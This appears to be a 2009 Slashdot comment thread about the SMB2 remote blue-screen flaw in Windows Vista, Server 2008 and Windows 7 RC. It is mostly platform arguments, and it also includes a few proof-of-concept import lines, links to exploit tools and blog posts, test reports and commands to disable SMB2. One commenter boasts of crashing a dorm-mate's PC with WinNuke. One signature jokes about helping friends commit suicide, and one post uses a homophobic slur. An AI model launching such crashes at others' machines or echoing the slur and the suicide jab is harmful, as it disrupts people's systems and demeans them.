Re:"RE"-introducing?

[Anonymous Coward]

I think the point is that Vista has been around for a couple of years now, and it's obviously not the "OMGWTFBBQ" issue some anti-Microsoft folks think it is. If it were, there would have been a big stink about all the remote BSODs in Vista.

Right, because Vista has been so broadly deployed in enterprise environments!

Re:"RE"-introducing?

[KnownIssues]

I think the legitimate complaint here is that the title for the article is inaccurate. The remote BSOD in SMB2 existed since Vista. Why that is pertinent is because Vista has been almost universally criticized and Windows 7 almost universally praised. If the complaint about reintroducing the BSOD had been made against Vista, it would have been dismissed--oh gee another Vista problem, who cares?! Shifting the focus to Windows 7 when the problem affects Vista already feels like a conscious attempt to tarnish the Windows 7 image.

I see the behavior was filed on Sept. 7. One would hope Microsoft is taking this seriously, and so far I see no evidence to the contrary. I have not seen a consensus that Windows 7 is "the same old crap" like I did for Vista.

Re:"RE"-introducing?

[KnownIssues]

I see the original poster has already submitted a correction. I apologize for beating the dead horse.

Re:"RE"-introducing?

[silanea]

[...] and don't know it is an entirely new operating system.

It is a new minor iteration of the Windows kernel with a modified Explorer shell and a few features previously only available through third-party tools. Whether that is a good or a bad thing depends on whether you like the previous iterations, but it certainly does not qualify for "entirely new operating system".

Re:"RE"-introducing?

[ceoyoyo]

Wait a minute, so what you're saying is that the article is bashing MS because they mistakenly UNDERSTATED the extent of the problem?

Re:"RE"-introducing?

[Anonymous Coward]

The never ending whine of a windows user.

Re:"RE"-introducing?

[Anonymous Coward]

But Macs cost too much, and Linux is too hard. And Microsoft only hits me because he loves me.

Linux is not hard. It only needs as much learning as a MAC would need since you're switching to something you've (probably) not used before. If you're willing to try Linux(Ubuntu), I am ready to guide you through every step of the initial curve.
email: vsanju[eight][five]@ G M(ai)l. com
[Trying to avoid Spam]

Re:"RE"-introducing?

[Sumbius]

So you mean the problem is _less serious_ by the fact that it's been on _more_ Windows versions than stated? Maybe you mean that MS has said 'it's not a problem because this and that?'

Remember this is Microsoft we are talking about. "Its not a problem. Its a feature."

Re:"RE"-introducing?

[MobileTatsu-NJG]

So you mean the problem is _less serious_ by the fact that it's been on _more_ Windows versions than stated? Maybe you mean that MS has said 'it's not a problem because this and that?'

Well, let's put it this way:

If you read just the headline, you'd assume "ah, well, I'm not using Windows 7, so I'm unaffected." In that case the bias against Windows 7 could potentially be more dangerous than if objectivity had reigned.

Hostile bias is bad. It doesn't matter how evil or deserving the company you're talking about is.

Re:"RE"-introducing?

[blind biker]

The article makes it seem like it hasn't been in Windows since Windows NT and that Windows 7 is the first time it's reappeared. Seriously, Vista has it.

Is this a case of "It's after midnight, must post another slam on Microsoft, even if we have twist and stretch like taffy to make the case"?

I'm here, reading your wonderful post, and laughing my ass off! Do you really think, reminding us that this horrible flaw is already present in Windows Vista, will somehow "soften the blow"?

Man, you're precious!

Re:"RE"-introducing?

[sjames]

So if Vista has it too, that would make the problem MORE serious than the summary and title. So if anything the summary is a kindness to MS, not "twisting and stretching like taffy to make the case".

Re:"RE"-introducing?

[davidshewitt]

And Microsoft (a.k.a Steve Ballmer) only hits me (with a chair) because he loves me.

Re:"RE"-introducing?

[Anonymous Coward]

So one is a hooker, another the black guy, and the third a pimp? Wait, am I on the right site?

Re:"RE"-introducing?

[node 3]

Yes, it's such an "entirely new operating system" that is has the same bugs.

MS astroturfers are so busy these days. If you put down a bug in Windows 7, responses that say, "hey, don't pick on MS, it was in Vista too!" get upmodded, and then if you say, "well, 7 is an update to Vista", responses rebutting it get upmodded.

Windows kinda sucks. Vista was pretty awful, 7 is better, and is really what Vista *should* have been (and it is completely based on Vista, modding this fact down doesn't make it untrue).

Mac OS X and Linux both have their flaws, but ignoring apps and computers they support and just looking at the systems themselves, Windows really is the worst of the lot. Throw in games and apps and ubiquitous inexpensive PCs, and Windows is a contender, but it's *not* because Windows itself is all that great.

Re:"RE"-introducing?

[node 3]

That's a seriously tenuous thread you've followed there. It's almost like you started with a conclusion and then looked to retrofit a connection from A to B to justify it.

Some would call that "bias"...

Re:"RE"-introducing?

[MobileTatsu-NJG]

That's a seriously tenuous thread you've followed there. It's almost like you started with a conclusion and then looked to retrofit a connection from A to B to justify it.

Some would call that "bias"...

You're right. The people biased against Microsoft would call my comment biased.

Re:"RE"-introducing?

[Anonymous Coward]

Sometimes we don't know things until we know them, alas.

No kidding! Like this one:

http://www.infoworld.com/d/security-central/critical-linux-kernel-bugs-discovered-440

or this one:
http://www.doecirc.energy.gov/bulletins/t-029.shtml

or this one:
http://www.vupen.com/english/advisories/2007/3860

or these:
http://secwatch.org/advisories/1021203/

Gosh! Linux has flaws, just like Microsoft. The only difference is usually in the turn around time for a patch. But how well tested is that Linux patch? Anyone remember how v2.6.23 broke VMWare server? Oops. Of course, Microsoft has broken its fair share of products also, but on the whole in the past several years, Microsoft has released much better tested and complete patches than Linux.

How many Linux folks here are running kernel v2.6.30.5 or newer? On your production server? No? Why not? Oh, waiting for stability/fixes/security to be well tested first...

Microsoft has a longer release cycle than Linux, get over it already.

Re:"RE"-introducing?

[node 3]

That's a seriously tenuous thread you've followed there. It's almost like you started with a conclusion and then looked to retrofit a connection from A to B to justify it.

Some would call that "bias"...

You're right. The people biased against Microsoft would call my comment biased.

Or even just honest people.

Re:"RE"-introducing?

[MobileTatsu-NJG]

That iss a seriously tenuous line of thought you've followed there. It's almost like you started with a conclusion and then looked to retrofit a connection from A to B to justify it.

Some would call that "bias"...

Re:"RE"-introducing?

[node 3]

Are you an AI bot?

You use words without any apparent understanding of their meaning.

Re:"RE"-introducing?

[icannotthinkofaname]

Linux is too hard.

Er, why are you on /., then? If you think Linux is too hard, then you should-

*notes five-digit UID*

Um...sorry about that, sir....
*bows in respect to the elder*
*gets off the lawn*

Re:"RE"-introducing?

[MobileTatsu-NJG]

Are you an AI bot?

You use words without any apparent understanding of their meaning.

Honest people would have seen the humor in what I said. ;)

Re:"RE"-introducing?

[Anonymous Coward]

Don't kiss David's ass, lest you become a faggot yourself. Seriously, if you had any clue about the things this man is associated with (remember lemonparty?) you wouldn't be so eager to rub dicks with him.

Re:"RE"-introducing?

[icannotthinkofaname]

Is he one of these people?

Re:"RE"-introducing?

[symbolset]

The problem with W7 being what Vista should have been is that expectations have changed since Vista was released. "A better Windows than XP" just isn't good enough any more. Vista was a long seven years coming, and it was unsatisfactory. People came to the stunning realization that salvation was not in the offing. Desperation drove them to explore alternatives outside of their comfort zone. IT people everywhere are finally looking outside of their Windows box and realizing - hey! A lot of these unresolved persistent headaches like malware and server glitches and cryptic error messages and license audits are problems we can choose not to have. Now people want stuff that "just works". You know, like a BSD or Linux server... or a Macbook Pro.

Whodathunkit?

Re:"RE"-introducing?

[node 3]

Honest people would have seen the humor in what I said. ;)

Well, I suppose it would be funny if you get to make up your own meanings for words...

Re:"RE"-introducing?

[Anonymous Coward]

You should have stayed in school, kid.

Re:"RE"-introducing?

[MobileTatsu-NJG]

Honest people would have seen the humor in what I said. ;)

Well, I suppose it would be funny if you get to make up your own meanings for words...

Hence how the cycle began. Glad we agree!

Re:"RE"-introducing?

[MaskedSlacker]

Ubuntu doesn't cost anything to update between versions. That's the difference.

doesn't seem to work

[Anonymous Coward]

My sample size of "one" is obviously not conclusive, but I just tested this on Win 7 Enterprise.

To my disappointment, the Win7 box didn't BSOD.

Re:First Post

[Anonymous Coward]

So, which is the one who falls for the Bugs Bunny Argument Reversal trick?

M$Borg: Microsoft!
MacBoi: Apple!

M$Borg: Microsoft!
MacBoi: Apple!

M$Borg: Microsoft!
MacBoi: *slight pause*

MacBoi: Microsoft!
M$Borg: Apple!

MacBoi: Microsoft!
M$Borg: Apple!

MacBoi: Okay, you win. Apple.
M$Borg: Wait... what?

Samba and SMB2

[Zombie Ryushu]

Let us hope Samba does not replicate this with its SMB2 Server.

Comment removed

[account_deleted]

Comment removed based on user account deletion

I've got karma to burn

[mcmonkey]

Speaking of going back to the '90s...

Why is /. using frames?

Oh, I'm sure on the back end it's some web 2.0 dynamic XCSS crap, but on the front end, it looks like a frame, it walks like a frame, it quacks like a frame.

It's a frame.

In firefox 3, I go to slashdot.org. Then I click a link to the IT section. Browser address bar still reads "slashdot.org" (no IT.)

I click a story link, then click the back button.

The browser goes back to slashdot.org, not it.slashdot.org.

Seriously, WTF?

Re:I've got karma to burn

[should_be_linear]

now it is in cloud, stupid!

Re:I've got karma to burn

[Diabolus Advocatus]

It's AJAX. It's very different from a frame.

Re:I've got karma to burn

[quickOnTheUptake]

I know! Why don't people get that frames/iframes/flash-pages/JS-manipulaiton-of-content/whatever-shiny-interactive-tech is not user-friendly if it breaks the URL->content correlation. The user (understandably) expects that coming back to the current address will show the current content (or an updated version thereof).

Re:I've got karma to burn

[i_liek_turtles]

Then there's the "many more" button (which also autoloads!), instead of just a different page. What was wrong with the last incarnation? Now I have to scroll all the way down, wait for the whole "many more" thing to load if I want to go through my article list again. You guys may know how to code but you have absolutely no idea how to make a usable interface.

Re:I've got karma to burn

[Inda]

You must be n...

Seriously, we don't come here for the fancy HTML. Although it would be nice to have a working site, it is not that important.

Re:I've got karma to burn

[Ant P.]

You can turn all the web2.0 bloat off in the prefs, you know. You're left with the previous version, which has visibly broken CSS, now requires javascript to display the friend icons(???), and takes you to the new layout if you click the wrong link, but there's still that option.

I had my first Win7 BSOD in the first 4 hours

[Anonymous Coward]

None since. (5 days since install now) It was an upgrade over Vista. It was going like going down Nostalgia Lane.

Oversimplifying the 'community'.

[Junta]

Out of any sufficiently large community, some will engage in the sort of things you describe, or similar or complementary things. Corporate marketing campaigns are largely relying upon evoking those sentiments in the people they target (irrational 'we're #1' mentality without substantial real justification).

1) The chances of making every last Linux user refrain from that are about as likely as having every last Windows user refrain from considering every last willing Linux user an elitist snob who engages in what you describe.

2) That is true, though the severity of your example is far far less bad. I would use one of the various local privelege escalation vulnerabilities (some which were in the kernel undiscovered almost as long as this was in Windows), though even that isn't quite as severe as an unprivileged remote access crash in some measures (in others, admittedly, DoS is much less bad than privilege escalation, though I rarely hear of Windows infrastructures banking on avoiding local privilege escalation much).

3) Again, this may be true of some of the community, it is also true of Windows community (look at a few random message boards, you'll see windows users looking equally foolish)

4) I don't see a correlation between meme-spouting and linux usage. I also see no evidence that Linux people like xkcd any more than non-linux people (though I don't see how xkcd is construed as a particularly bad thing).

In short, if you want a community larger than 30-50 people that is completely devoid of people who fail to meet your standards, you might as well give up on any community.

Re:For all who want a copy/paste from TFA

[Anonymous Coward]

Fixed the subject line for you.

Re:First Post

[Ash-Fox]

But none of those vehicles are self crashing.

Not bad eh? Are you kidding me?

[weave]

So I'm reading a lot about this is no big deal because most places have it firewalled off, or most people are behind NAT, etc, etc...

OK, well, tell that to a place like a college that has 50,000 student accounts who all need access to file servers to get their files. You can't just turn off file sharing or block them on the firewall. All it takes is for one 1337 user to show off his mighty hacker skillz by BSOD'ing the servers to ruin things.

At least where I work we are still at 2003 Server -- thankfully.

windows 7 may be not affected

[luxifr]

see this http://www.heise.de/security/Luecke-in-Windows-Vista-und-7-ermoeglicht-Neustart-aus-der-Ferne--/news/meldung/144986 (german) heise tested the avaliable expoit and found vista affected but not windows 7

Re:windows 7 may be not affected

[Anonymous Coward]

Sorry - just tried it to a W7 RTM box and it did in fact BSOD.

Re:windows 7 may be not affected

[Anonymous Coward]

You're a liar.

Re:First Post

[porl]

hahaha only on slashdot would that be modded 'informative'

nice work :)

Works on fully patched Server 2008 too

[Anonymous Coward]

Works on fully patched Server 2008 too

Microsoft might well play nice in EU

[Anonymous Coward]

Do you really think iplg@microsoft.com will grant the Samba team a written license or possibly a patent license?

Yes, I would imagine so.

And this is why: JUDGMENT OF THE COURT OF FIRST INSTANCE (Grand Chamber)
17 September 2007

 

48 By way of remedy for the abusive refusal referred to in Article 2(a) of the contested decision, Article 5 of that decision provides as follows:

â(a) Microsoft ⦠shall, within 120 days of the date of notification of [the contested decision], make the interoperability information available to any undertaking having an interest in developing and distributing work group server operating system products and shall, on reasonable and non-discriminatory terms, allow the use of the interoperability information by such undertakings for the purpose of developing and distributing work group server operating system products;

(b) Microsoft ⦠shall ensure that the interoperability information made available is kept updated on an ongoing basis and in a timely manner;

(c) Microsoft ⦠shall, within 120 days of the date of notification of [the contested decision], set up an evaluation mechanism that will give interested undertakings a workable possibility of informing themselves about the scope and terms of use of the interoperability information; as regards this evaluation mechanism, Microsoft ⦠may impose reasonable and non-discriminatory conditions to ensure that access to the interoperability information is granted for evaluation purposes only;

Are you seriously thinking they might renege on a punishment (samba interoperability documentation) dealt out at the cost of half a billion euros?

Re:For all who want a more technical summary of TF

[Kompressor]

When this packet hits a pocket on a socket on a port,
Your whole damn OS pauses to abort...

Now hold on...

[joocemann]

... this can't be possible. Windows is made by *professionals*. If anything, those Linux amateurs are just trying to smear Microsoft with lies. .... jokes aside... It's a shame that microsoft has so much fackin revenue and yet their products are always seemingly half-assed. Throw another million at it! The guy who discovered this exploit should be on your payroll! ... oh wait.. the execs and stockholders aren't rich enough yet!

I wonder how the math works out when comparing advertising and investing in politicians (lobbies) vs developing a solid product in terms of ROI.

SMB2 exploits

[navyjeff]

My favorite SMB2 exploits are detailed here.

Self-fulfilling prophecy

[phorm]

Unfortunately, any group tends to have it's selection of self-important, infantile, self-righteous whiners. Equally unfortunately, they tend to be the more vocal members of said groups.

Don't let the leetiods scare you off, there are plenty of sane linux users or admins around here. Filter out the rest and all will be well.

Mind you, Linux is for those that have a reason to use it (even if the reason is just curiosity), so exempting the leetiots perhaps you need a stronger reason yet to "join the community," just don't worry that a frontal lobotomy is a requirement for such.

i love win 7

[Anonymous Coward]

i love win 7, i have been running it on my laptop since the public beta came out, i have not found anything i dont like, if this is the worst thing you can come up with about windows 7. as far as i am concerned, its as good as xp or better.

Re:For all who want a more technical summary of TF

[Anonymous Coward]

Um, fail? Check the comment line above your import.

Are they getting kickbacks from firewall vendors?

[Locke2005]

'Cause this can be prevented pretty easily by blocking the SMB ports, and if you're a business you'd be insane not to have a firewall anyway.

Re:For all who want a more technical summary of TF

[Anonymous Coward]

watch out! antisec is headed to your favorite desktop ;o

Similar to the dotless IP vulnerability

[Thuktun]

Back in October 1998, Microsoft fixed a vulnerability in Internet Explorer 4 where a dotless IP address (represented as a single, unsigned 32-bit integer, which was legal in IPv4) would be treated as being on the local network rather than on the Internet at large. Basically, their programmers took a shortcut and assumed "no dots = local". (MS98-016)

This was re-introduced in IE 5 three years later and had to be fixed AGAIN. (MS01-051)

I've been waiting to see if they end up re-introducing this one, or if they learned their lesson well enough the last time.

As Joel Spolsky points out, this is exactly what happens when you rewrite software. The old software had lots of bug fixes. If your development shop made a particular mistake once, it's likely to do it again when you reimplement. It's unclear whether this was the case for IE 5 (no idea if that area of the code was rewritten), but it seems like this may have bitten Microsoft with the teardrop vulnerability.

Windows 2008 is very vulnerable.

[miffo.swe]

Me and my coworker tried this on an updated Windows 2008 today and none of us could believe what happened. The server just dies mid-air and throws a proud BSOD.

Am i the only one surprised something like this could slip through all the supposed testing done by Microsoft? Have they even ran a fuzzer against their code at all? If blatantly obvious holes like this goes unseen in the new TCP/IP SMB2 code rest assured a whole slew of new holes will be found later.

Funniest thing is that this dont affects XP while Microsoft touts Windows 7/2008 as the safest os ever. I guess its all marketing and just blatantly nothing done about security other than to blame everything on the user by passing every security decission onto the user with UAC.

vista sp2 and 2k8 sp2 for me

[modestgeek]

I've only been able to get this to work against Vista Ultimate SP2 and Windows Server 2008 SP2. I've not gotten this to work on Windows 7 RTM and Windows 2008 RTM yet... and yes, I disable the firewalls to be sure.

Re:vista sp2 and 2k8 sp2 for me

[modestgeek]

Oops. I meant to say: I've only been able to get this to work against Vista Ultimate SP2 and Windows Server 2008 SP2. I've not gotten this to work on Windows 7 RTM and Windows 2008 R2 RTM yet... and yes, I disable the firewalls to be sure.

It is not a bug. It is feature :)

[alukin]

Windows is such a super sick beast that can not exist without vulnerabilities. Every hole and BSoD is not a big. It is classical Windows feature.
Welcome back, "teardrop" BSoD! :)

BACK TO THE FUTURE!

[fataugie]

Watch out Marty....the Flux capacitor is at full capacity and a Smurf attack is imminent!

Heh..

[damuhatori]

I think you'd get alcohol poisoning half-way through the drinking game.

Call me an asshole

[DaMattster]

But I have fond memories of the exploit called Win Nuke to cause the BSOD. Back in the day, I was a freshman in college and a football player on our floor was continuously giving me a hard time. In those days, we telnetted into the DEC Alpha to check our email. Also, in those days our IPs were statically assigned and we had no firewall. Those were quite obviously better, more trusting days of the internet. Anyhow, one day I waited until I knew he was in his room and checking email from his computer. I used finger on UNIX to get his IP address. Then, nuke away! I could here him banging, cussing, and throwing his stuff around. So, whenever I needed a little fun, I simply delivered that little exploit. One day he came back from a drunken binge and went to check his email and I felt it was a perfect time to test his patience level. After carefully delivering the little packet, I heard a smashing sound. My guess is he decided to do a body slam, WWF style, on his PC. As I walked by I casually asked what happened as I saw the computer smashed to smithereens. He told me to, "Get outta here, shit nugget!" It was all I could do to keep from bursting out laughing. Moral: Leave the IT guy alone.

Re:Call me an asshole

[Anonymous Coward]

He probably has the last laugh though. The football player graduates with whatever major, goes into law school on scholarships, passes the bar with a lot of help, and is now a J. D. He is able to browbeat people enough in trials that judges and juries side with him after he rips some witness to shreds in the same manner he tore up the crashed PC.

The IT person gets fired because PHBs fall in love with cloud computing and outsourcing, expecting Data Doctor to be able to fix any problems.

End result: You are doing the daily dice.com search for some minimum wage PC tech support position at your parent's house, and he's out looking for a new BMW 7 series for his daughter's sweet 16 present. Even though the ex football player doesn't know squat about computers, he can pay or compel to the witness stand people who do.

Re:Call me an asshole

[Anonymous Coward]

Creative story, but a bit unrealistic. While the IT guy may indeed have the fate you described, odds are that the football player's fate is even worse. Here's my take: after getting kicked off the football team for "disciplinary problems" (which happens more than people realize), he drops out of college and languishes in obscurity, with a series of low-paying menial jobs. Eventually he becomes an alcoholic and/or drug user, and gets killed in an argument outside a bar. No one attends his "funeral", which consists of getting dumped in the county morgue in some desolate hick town in Arkansas.

Tag it "DefectiveByDesign" and "Haha"

[Anonymous Coward]

The bug is yet another Vista 7 failure due to M$'s inclusion of digital restrictions management. M$ has proved once again Windoze 7 is Vista Service Pack as this "bug" also affects Vista and Vista Server 2008, all of which comes at the cost to your freedom and security.

--
Friends don't help friends install M$ junk.
Friends do assist M$ addicted friends in committing suicide.

Hardly news.

[Anonymous Coward]

I already had my share of BSoDs on Windows 7. Moved back to XP. Hadn't a BSoD there on the exact same machine ever.

Re:YOU SOUND LIKE A BABY CRYING

[Anonymous Coward]

WTF? You sound like a baby. Stop crying and face the fscking world already!

Here's how to disable SMB2

[gravyface]

Not tested, but Petri is a pretty solid resource: http://www.petri.co.il/how-to-disable-smb-2-on-windows-vista-or-server-2008.htm

oh well

[chucklebutte]

I dont care im still very found of 7 (running rtm for a month was a pleasant experience) im actually signed up to throw a party, although I wont throw any party I just want free copy of 7 lol. Everything OS isnt perfect 7 is definitely a nice change of pace from XP, and Vista like ME should be forgotten asap.

Re:For all who want a more technical summary of TF

[Chapter80]

Just to clarify the comment prior to mine...

Simply adding a linefeed in the right place in the comment would perform the import properly. In other words, the GP post says:

# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
from time import sleep

and it should be

# PAGE_FAULT_IN_NONPAGED_AREA
from socket import socket
from time import sleep

Re:Woo!

[thePowerOfGrayskull]

I love it when Microsoft self-sabotages. Windows 7 was already being called "Vista: Fixed"; now it's introducing fun new ways for "Vista" to fail. But let's be fair to Microsoft; they don't like introducing "new" things, so in tune with this philosophy, they're merely re-releasing an old problem and packaging it differently ;)

This is actually introduced with Vista, and not Win7 -- making the title and summary just wrong. Something new and different for /....

Re:For all who want a more technical summary of TF

[thePowerOfGrayskull]

Ummm... well done and truly informative, the way you copied and pasted directly from the security bulletin linked to in TFS...

Firing offense

[ShannaraFan]

Back in the mid/late 90's, we had a Btrieve-based app running on our Novell network. The client app ran on each local workstation, Win95 at the time. One of the resident computer experts (helpdesk guy) discovered a "tool" that would allow him to send the ping o'death to any machine on the network. He amused himself merrily, randomly crashing machines for nearly a week. Problem was, each time he crashed a machine, the Btrieve database would get corrupted or records would be left locked, requiring intervention by me to get things working again. Once I figured out who was doing it, I warned him to stop. He didn't, so I reported him to senior management. He was fired immediately.

Re:For all who want a more technical summary of TF

[Anonymous Coward]

Looks like the winnuke application has been updated already. LOL

http://rapidshare.com/files/277352935/WinnukeV7.zip.html

Idiot

[omb]

Of course it is _VERY_SERIOUS_, un-priviliged user-land electively crashes kernel of every machine it can route TCP packets to, WTF are you stupid or something?

Re:Idiot

[Anonymous Coward]

Only if you permit SMB2 through your local firewall. Disable file sharing. Or better yet, just disable the SMB2 support and only use SMB like the everyone else.

Re:Idiot

[omb]

Userland should __NEVER__ be able to crash the OS, M$ fanbois are the reason Windows is as bad as it is! If this was Linux a patch would be issued in hours. See the deref 0 with page 0 mmaped exploit.

Re:For all who want a more technical summary of TF

[Anonymous Coward]

Verified BSOD with windows Vista basic, have to move the "from socket import socket" to it's own line without being commented.

Cool

[nurb432]

Ah the good old days of early IRC, watching people go poof on a regular basis.

Re:For all who want a more technical summary of TF

[Anonymous Coward]

proof-of-concept code can sometimes contain subtle or minor bugs on purpose so that someone completely uninitiated can't just go and abuse it.

Re:Woo!

[Anonymous Coward]

XP isn't affected because XP can't speak that protocol.

To be fair, this vulnerability seems to prove that that none of Vista, WS2k8, or Win7 know how to speak SMB 2.0 (correctly) either... ;-)

In the Unix way...

[Anonymous Coward]

In the Unix way, a document's file extension just says what type it is;

Guess the author has never seen #! lines or the file command then...

Server 2008 R2

[deke_kun]

I've just tested it on 3 of my Server 2008 R2 machines here (final build, technet ftw). It was unable to crash any of them. I wonder if 2008R2 has any new SMB code we don't know about yet?

Note: all 3 2008R2 machines have open (guest-authable) fileshares available via SMB.

Anonymous Coward is a Twitter SockPuppet

[WillHill]

What's wrong Twitter? All of your accounts in karma hell? BTW, your suicide comment you made only shows your stupidity.

The SMB2 flaw is very easy to fix!

[SignalFreq]

SMB2 is not required, it can be disabled.

From an Administrative prompt issue the follow:

"net stop mrxsmb20"

To make the change permanent, also issue:

"sc config lanmanworkstation depend= bowser/mrxsmb10/nsi"
"sc config mrxsmb20 start= disabled"

Seriously, why is everyone getting so bent over something that is a three-line permanent fix?

Re:The SMB2 flaw is very easy to fix!

[daveime]

Why does the file sharing system in Windows rely on the cartoon baddie from Mario games ? Bowser, srsly ?

Re:The SMB2 flaw is very easy to fix!

[Anonymous Coward]

Well, it is SMB.

Re:The SMB2 flaw is very easy to fix!

[wildstoo]

You can blame Larry Osterman for that one.

Re:For all who want a more technical summary of TF

[socceroos]

FOOL! You're NOT supposed to PROVIDE THE FIX!!!!!!!!

I can already see the script-kiddy whordes descending on your post!!!!!

uhhh

[Anonymous Coward]

Windows 7 hasn't even launched yet, so don't cry too hard.

Asking for a chair throw....

[Anonymous Coward]

but....I thought Windows 7 was the most secure version of Windows ever?

Re:For all who want a more technical summary of TF

[Anonymous Coward]

Um, you're an idiot.

Well...

[Kopachris]

That's one way to crash a Windows 7 party.

Re:Woo!

[nog_lorp]

Also, it isn't related to the TCP/IP stacks, or the teardrop attack. It is a totally unrelated except that it causes a BSoD.

Re:Woo!

[Anonymous Coward]

Your post implies that this is somehow redeeming to Microsoft. It is actually worse - the problem has been there for so long, it is present in Win7 too, thus the vector of attack is larger. This speaks volumes about the real security of new Microsoft products.

Defending Windows

[symbolset]

There are times like the recent article about how Microsoft photoshopped a black guy out of some marketing material destined for Poland where there are no black people, where the frantic voices of slashdot bashing Microsoft I find irrational and too strident.

And then there are the far more numerous articles where there's some real problem with a current Microsoft product where some people feel determined to defend Microsoft no matter how much they must stretch reason or reach to find offense in the poster.

Your post is more of the latter than the former -- and so I must wonder how it became moderated so well. Twice interesting and once overrated. That's maybe more than I would give it.

Example Script

[Anonymous Coward]

I have tested it on Windows 2008 x64 and Windows 7 (had to allow SMB through the firewall on 7 as it was blocked by default)
And got some lovely blue screens to admire!
http://blog.tommed.co.uk/2009/09/08/how-to-blue-screen-windows-remotely-with-python

Test: FAIL

[Adam Jorgensen]

Tested this on my own system, using my Linux dev box to attack Windows 7 running inside VirtualBox 3. No luck, Windows just sits there.

Is Windows crashing because of an IP packet?

[Anonymous Coward]

So basically several recent version of Windows, the ones using the 'SMB2' protocol, can be crashed if someone on the same LAN sends an crafted packet?

How is this possible from a technical point of view?

It must have something to do with the way Windows is conceived.

I can imagine the "fix"... The fix is going to be something like "If packet starts with ..." then drop the packet.

However that's a shitty way to 'fix' the problem. The problem is obviously deeply engrained in the Windows is conceived and the way Windows is conceived is deeply engrained in pathetic programming practice.

Seriously, all Microsofties, how the heck is it even possible that a machine can be remotely crashed just by receiving a malformed packet?

How can you buy such mediocrity?

I realize /. is full of paid M$ astrotufers but there's seriously not much you can do here to take MS's defense.

How is this even possible?

A remote BSOD?

Woaw. Just plain woaw.

Going to have soooo much fun today

[Anonymous Coward]

For weeks I have been listening to some IT guys tell me how great and foolproof 7 is. I am going to have so much fun this afternoon!

BSoD?

[DaVince21]

What's a BSoD?

Flaw DOESN'T AFFECT Windows 7 at all

[Anonymous Coward]

don't let the facts get in the way of a good microsoft bash eh lads?
your all a bunch of stupid trolls.

The software maker said the latest issue affects the "release candidate" version of Windows 7, but not the final version that was completed in July. Also, the recently completed Windows Server 2008 R2 is not vulnerable, Microsoft said, nor are the earlier Windows XP and Windows 2000 operating systems.

Right so R2, XP and 2000 are not vulnerable and it looks like Vista needs a patch - kudos to Ms for fixing it quickly- more than most companies do.

http://news.zdnet.com/2100-9595_22-340550.html